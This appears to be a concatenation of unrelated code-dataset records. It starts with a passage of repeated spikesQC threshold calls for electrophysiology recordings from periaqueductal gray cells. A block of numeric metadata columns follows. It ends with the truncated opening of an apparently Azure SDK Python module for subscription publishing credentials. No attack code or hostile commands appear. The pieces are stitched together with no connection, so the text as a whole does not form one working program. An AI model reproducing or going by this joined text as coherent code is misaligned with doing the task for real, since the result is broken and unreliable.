QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dmpag_vgat_201105_c5_LDIBF_OP_VC_clear_nointerval_2
# prominence (110-250), peak (-250-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 3.95, QC_pw_max = 6.25,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = 100
)
# dmpag_vgat_201105_c6_LDIBG_OP_VC_clear_nointerval_1
# prominence (55-110), peak (-100-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 4.5, QC_pw_max = 20,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = 5, QC_lb_max = float('inf'),
QC_rb_min = 5, QC_rb_max = 63.5
)
# dmpag_vgat_201105_c7_LDIBH_OP_VC_clear_nointerval_2
# prominence (85-140), peak (-150-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 4, QC_pw_max = float('inf'),
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dmpag_vgat_201105_c8_LDIBI_OP_VC_clear_nointerval_2
# prominence (53-150), peak (-150-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 4, QC_pw_max = 20,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = -10,
QC_lb_min = 5, QC_lb_max = float('inf'),
QC_rb_min = 5, QC_rb_max = float('inf')
)
# dmpag_vgat_201125_c3_LDIBK_OP_VC_clear_nointerval_2
# prominence (45-85), peak (-75-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 2.9, QC_pw_max = 9,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dmpag_vgat_201125_c6_LDIBN_OP_VC_clear_nointerval_1
# prominence (100-400), peak (-350-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 3, QC_pw_max = float('inf'),
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dmpag_vgat_201125_c8_LDIBP_OP_VC_clear_nointerval_1
# prominence (125-250), peak (-200-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = float('-inf'), QC_pw_max = float('inf'),
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dmpag_vgat_201125_c9_LDIBQ_OP_VC_clear_nointerval_1
# prominence (42-100), peak (-100-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 4, QC_pw_max = 12,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = -25,
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dmpag_vgat_201201_c3_LDIBV_OP_VC_clear_nointerval_1
# prominence (50-200), peak (-200-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 3, QC_pw_max = 10,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dmpag_vgat_201201_c4_LDIBW_OP_VC_clear_nointerval_3
# prominence (45-150), peak (-150-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 3, QC_pw_max = 10,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dmpag_vgat_201202_c4_LDIBZ_OP_VC_clear_nointerval_2
# prominence (70-170), peak (-200-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 3.5, QC_pw_max = 7.5,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = -40,
QC_lb_min = 5, QC_lb_max = float('inf'),
QC_rb_min = 5, QC_rb_max = float('inf')
)
# dmpag_vgat_201203_c2_LDICD_OP_VC_clear_nointerval_1
# prominence (35-55), peak (-50-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 6.5, QC_pw_max = 25,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = 8, QC_lb_max = float('inf'),
QC_rb_min = 6, QC_rb_max = float('inf')
)
# dmpag_vgat_201203_c4_LDICF_OP_VC_clear_nointerval_1
# prominence (80-253), peak (-200-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 3.75, QC_pw_max = 10,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = 6, QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = 25
)
# dmpag_vgat_201203_c7_LDICI_OP_VC_clear_nointerval_1
# prominence (100-250), peak (-250-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = float('-inf'), QC_pw_max = float('inf'),
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dmpag_vgat_201203_c8_LDICJ_OP_VC_clear_nointerval_2
# prominence (79-270), peak (-250-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 5.5, QC_pw_max = 13,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = 7.5, QC_rb_max = float('inf')
)
# dmpag_vgat_201215_c2_LDICK_OP_VC_clear_nointerval_1
# prominence (170-500), peak (-400-100)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 4.1, QC_pw_max = 8,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = 6, QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dmpag_vgat_201215_c5_LDICN_OP_VC_clear_nointerval_3
# prominence (80-190), peak (-200-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 6.05, QC_pw_max = 25,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dmpag_vgat_201215_c8_LDICQ_OP_VC_clear_nointerval_1
# prominence (80-180), peak (-300-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 3, QC_pw_max = 10,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dmpag_vgat_201216_c4_LDICS_OP_VC_clear_nointerval_2
# prominence (40-100), peak (-100-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 4, QC_pw_max = 15,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = 0,
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# dmpag_vgat_201216_c5_LDICT_OP_VC_clear_nointerval_1
# prominence (80-125), peak (-200-0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 3, QC_pw_max = 25,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = 0,
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
##### lpag #####
# lpag_vgat_201125_c4_LDIBL_OP_VC_clear_nointerval_1
# prominence (55, 120), peak (-150, 0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 3.6, QC_pw_max = 20,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# lpag_vgat_201125_c7_LDIBO_OP_VC_clear_nointerval_1
# prominence (100, 180), peak (-200, 0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = float('-inf'), QC_pw_max = float('inf'),
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# lpag_vgat_201201_c6_LDIBY_OP_VC_clear_nointerval_3
# prominence (43, 90), peak (-100, 0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 4.5, QC_pw_max = float('inf'),
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = 5, QC_rb_max = float('inf')
)
# lpag_vgat_201203_c6_LDICH_OP_VC_clear_nointerval_1
# prominence (50, 150), peak (-85, 0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = float('-inf'), QC_pw_max = 15,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# lpag_vgat_201215_c4_LDICM_OP_VC_clear_nointerval_1
# prominence (135, 300), peak (-300, 0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 4, QC_pw_max = float('inf'),
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = -100,
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
##### vlpag #####
# vlpag_vgat_190123_c1_LDIAE_OP_VC_clear_nointerval_2
# prominence (80, 160), peak (-150, 0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 3, QC_pw_max = 10,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# vlpag_vgat_201202_c6_LDICB_OP_VC_clear_nointerval_1
# prominence (100, 250), peak (-200, 0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 7, QC_pw_max = 20,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = -90,
QC_lb_min = 9, QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# vlpag_vgat_201203_c3_LDICE_OP_VC_clear_nointerval_1
# prominence (55, 125), peak (-100, 0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 5, QC_pw_max = 10,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = 6, QC_lb_max = float('inf'),
QC_rb_min = 6, QC_rb_max = float('inf')
)
# vlpag_vgat_201215_c6_LDICO_OP_VC_clear_nointerval_2
# prominence (60, 120), peak (-150, 0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = 4, QC_pw_max = float('inf'),
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
# vlpag_vgat_201215_c7_LDICP_OP_VC_clear_nointerval_1
# prominence (140, 400), peak (-350, 0)
peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC(
file_name, peaks, peaks_properties,
cut_spikes, cut_spikes_holding, cut_spikes_baselined,
filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'],
QC_p_min = float('-inf'), QC_p_max = float('inf'),
QC_wh_min = float('-inf'), QC_wh_max = float('inf'),
QC_pw_min = float('-inf'), QC_pw_max = 6,
QC_ph_min = float('-inf'), QC_ph_max = float('inf'),
QC_pb_min = float('-inf'), QC_pb_max = float('inf'),
QC_lb_min = float('-inf'), QC_lb_max = float('inf'),
QC_rb_min = float('-inf'), QC_rb_max = float('inf')
)
| 47.932862
| 98
| 0.662121
| 6,826
| 40,695
| 3.49751
| 0.025051
| 0.221496
| 0.256765
| 0.174793
| 0.964732
| 0.964732
| 0.937254
| 0.905294
| 0.896121
| 0.893357
| 0
| 0.033306
| 0.161863
| 40,695
| 849
| 99
| 47.932862
| 0.666647
| 0.119056
| 0
| 0.85119
| 0
| 0
| 0.084932
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
0ef889d546ce9a9ccad81473172d2a7012521b5a
| 80
|
py
|
Python
|
Personal tuitorials at Home/next.py
|
thepros847/python_programiing
|
d177f79d0d1f21df434bf3f8663ae6469fcf8357
|
[
"MIT"
] | null | null | null |
Personal tuitorials at Home/next.py
|
thepros847/python_programiing
|
d177f79d0d1f21df434bf3f8663ae6469fcf8357
|
[
"MIT"
] | null | null | null |
Personal tuitorials at Home/next.py
|
thepros847/python_programiing
|
d177f79d0d1f21df434bf3f8663ae6469fcf8357
|
[
"MIT"
] | null | null | null |
i, j = ( 3, 9 )
print(i, j)
for i, j in[(1, 2), (3, 4), (5, 6)]:
print(i, j)
| 13.333333
| 36
| 0.3875
| 20
| 80
| 1.55
| 0.6
| 0.258065
| 0.451613
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.140351
| 0.2875
| 80
| 5
| 37
| 16
| 0.403509
| 0
| 0
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0.5
| 1
| 0
| 1
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 8
|
1603b7ca7f6a2bab039ff151da4ec268931fdc08
| 37,167
|
py
|
Python
|
azure-mgmt-web/azure/mgmt/web/operations/global_model_operations.py
|
Berryliao84/Python-Azure
|
a96ed6e8bbf4290372980a2919b31110da90b164
|
[
"MIT"
] | 1
|
2017-10-29T15:14:35.000Z
|
2017-10-29T15:14:35.000Z
|
azure-mgmt-web/azure/mgmt/web/operations/global_model_operations.py
|
Berryliao84/Python-Azure
|
a96ed6e8bbf4290372980a2919b31110da90b164
|
[
"MIT"
] | null | null | null |
azure-mgmt-web/azure/mgmt/web/operations/global_model_operations.py
|
Berryliao84/Python-Azure
|
a96ed6e8bbf4290372980a2919b31110da90b164
|
[
"MIT"
] | null | null | null |
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
# --------------------------------------------------------------------------
from msrest.pipeline import ClientRawResponse
from msrestazure.azure_exceptions import CloudError
import uuid
from .. import models
class GlobalModelOperations(object):
"""GlobalModelOperations operations.
:param client: Client for service requests.
:param config: Configuration of service client.
:param serializer: An object model serializer.
:param deserializer: An objec model deserializer.
"""
def __init__(self, client, config, serializer, deserializer):
self._client = client
self._serialize = serializer
self._deserialize = deserializer
self.config = config
def get_subscription_publishing_credentials(
self, custom_headers=None, raw=False, **operation_config):
"""Gets publishing credentials for the subscription owner.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:rtype: :class:`User <azure.mgmt.web.models.User>`
:rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>`
if raw=true
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
# Construct URL
url = '/subscriptions/{subscriptionId}/providers/Microsoft.Web/publishingCredentials'
path_format_arguments = {
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters)
response = self._client.send(request, header_parameters, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('User', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
def update_subscription_publishing_credentials(
self, request_message, custom_headers=None, raw=False, **operation_config):
"""Updates publishing credentials for the subscription owner.
:param request_message: requestMessage with new publishing credentials
:type request_message: :class:`User <azure.mgmt.web.models.User>`
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:rtype: :class:`User <azure.mgmt.web.models.User>`
:rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>`
if raw=true
